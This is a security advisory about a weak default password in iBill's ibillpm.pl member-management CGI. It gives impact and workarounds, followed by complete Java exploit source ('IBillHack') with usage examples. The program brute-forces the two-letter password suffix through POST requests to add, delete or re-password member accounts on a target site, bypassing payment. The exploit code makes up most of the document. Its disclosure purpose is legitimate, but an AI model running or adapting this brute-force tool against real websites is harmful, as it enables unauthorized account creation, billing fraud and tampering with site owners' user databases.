Vulnerable Program: ibillpm.pl Perl CGI script
Distributed by: iBill Internet Billing Company, http://www.ibill.com
Problem: iBill hard codes a weak password for the user management script,
ibillpm.pl, installed for clients that use the Password Management system.
The weak password is the client's MASTER_ACCOUNT (which can be viewed in
the HTML of the site's signup pages) plus only 2 letters that are
lower-case (aa - zz). This allows a brute force POST to easily
add/delete/chgpwd of users in the .htpasswd file. The CGI keeps no
auditing record of what changes it makes, nor does the web log file
indicate what username was added to the system (doesn't log POST data). In
addition, the requests in the web log file all have HTTP response code
200, which usually doesn't indicate problems in error_log.
Impact: This allows an attacker to bypass the billing system and add an
arbitrary username/password to a website's "member" section. Thousands are
estimated to use the default setup.
Vulnerable Applications: Websites that use iBill's Password Management CGI
script, ibillpm.pl, using default setup process performed by iBill.
Vulnerable OS: Unix based.
Non-vulnerable Applications: Websites that do not use iBill's Password
Managment system, or use more secure settings other than default.
Non-vulnerable OS: WindowsNT/2000 or other systems not capable of running
ibillpm.pl Perl CGI.
How this was found: During installation and security audit for a client's
website.
Workarounds:
1) Move the script to a less obvious place than the default so it's harder
to find (don't forget to change the path at the iBill admin website).
2) Request that iBill set a more secure password for the ibillpm.pl
script.
3) Change your webserver config (httpd.conf for Apache) to only allow
addresses from .ibill.com to access the path to ibillpm.pl. See your
webserver documentation for details on how to do this.
See attached exploit source code.
// 10/25/2001
import java.net.*;
import java.io.*;
/**
* IBillHack class for informational purposes only.
* This program brute-forces POST requests to the iBill Password Management CGI
* and allows us to add/delete usernames and change passwords on websites
* that used iBill Password Management using default installation.
* By default iBill sets up the $authpwd as MASTER_ACCOUNTxx, where "xx"
* is a pair of letters [a-z]. It is suggested that all clients of iBill
* that use Password Management aquire a new $authpwd for their ibillpm.pl
* script.
* MASTER_ACCOUNT can be found as part of the <FORM> tag on the signup pages:
* <input type="hidden" name="account" value="123456-500">
* OR
* <input type="hidden" name="account" value="123456500">
* The last 3 digits is the sub-account, and somtimes there is a dash,
* sometimes not. In this case MASTER_ACCOUNT=123456.
*
* /cgi-bin/ibillpm.pl is the default path to the CGI. Sometimes the webmaster
* is smart enough not to use the default and request that $authpwd be changed
* to something more secure. In addition to these measures, a webmaster can
* also modify their httpd.conf to only allow iBill IP addresses to request
* the Password Management CGI script.
*
* The correct $authpwd is not saved here. That is an optional exercise for
* the reader.
*
* Here are the return codes from the ibillpm.pl script (not HTTP status codes)
* and their meaning:
*
* 501 - authentication failed
* 502 - invalid request type (command must be add, delete, or chgpwd)
* 503 - failed to locate the password file
* 504 - failed to open the password file
* 505 - specified user already exists
* 506 - specified user doesn't exist
* 507 - invalid username
* 508 - invalid password
*
* 201 - add user success
* 202 - delete user success
* 203 - change password success
*
*/
public class IBillHack {
public static void main(String args[]) {
if (args.length != 6) {
System.err.println("Usage: java IBillHack <target_hostname> </path/to/cgi-bin/ibillpm.pl> " +
"<add|delete|chgpwd> <username> <password> <master_account>");
System.err.println("Example: java IBillHack www.somesite.com /cgi-bin/ibillpm.pl add bob 1pass 123456");
System.exit(1);
}
char letters[] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
};
for (int i = 0; i < letters.length; i++) {
for (int j = 0; j < letters.length; j++) {
try {
Socket s = new Socket(InetAddress.getByName(args[0]), 80);
StringBuffer headers = new StringBuffer();
headers.append("POST " + args[1] + " HTTP/1.1\n");
headers.append("Referer: http://"; + args[0] + args[1]
+ "\n");
headers.append("Content-Type: application/x-www-form-urlencoded\n");
headers.append("User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\n");
headers.append("Host: " + args[0] + "\n");
StringBuffer query = new StringBuffer();
query.append("\nauthpwd=" + args[5] + letters[i]
+ letters[j] + "&reqtype=" + args[2]
+ "&username=" + args[3] + "&password="
+ args[4] + "&submit=Submit\n");
String q = query.toString();
headers.append("Content-Length: " + q.length() + "\n");
OutputStream os =
new BufferedOutputStream(s.getOutputStream());
os.write(headers.toString().getBytes());
os.write(q.getBytes());
os.flush();
System.err.println("Sending...");
System.out.print(headers.toString());
System.out.println(q);
s.close();
Thread.sleep(500);
} catch (Exception e) {
e.printStackTrace();
}
}
}
System.err.println("--------------------------------------------------------------------");
System.err.println("Finished trying all aa-zz combinations for MASTER_ACCOUNT " + args[5]);
System.err.println("Try logging into the members section of " + args[0] + " with username/password " + args[3] + "/" + args[4]);
System.err.println("--------------------------------------------------------------------");
}
}
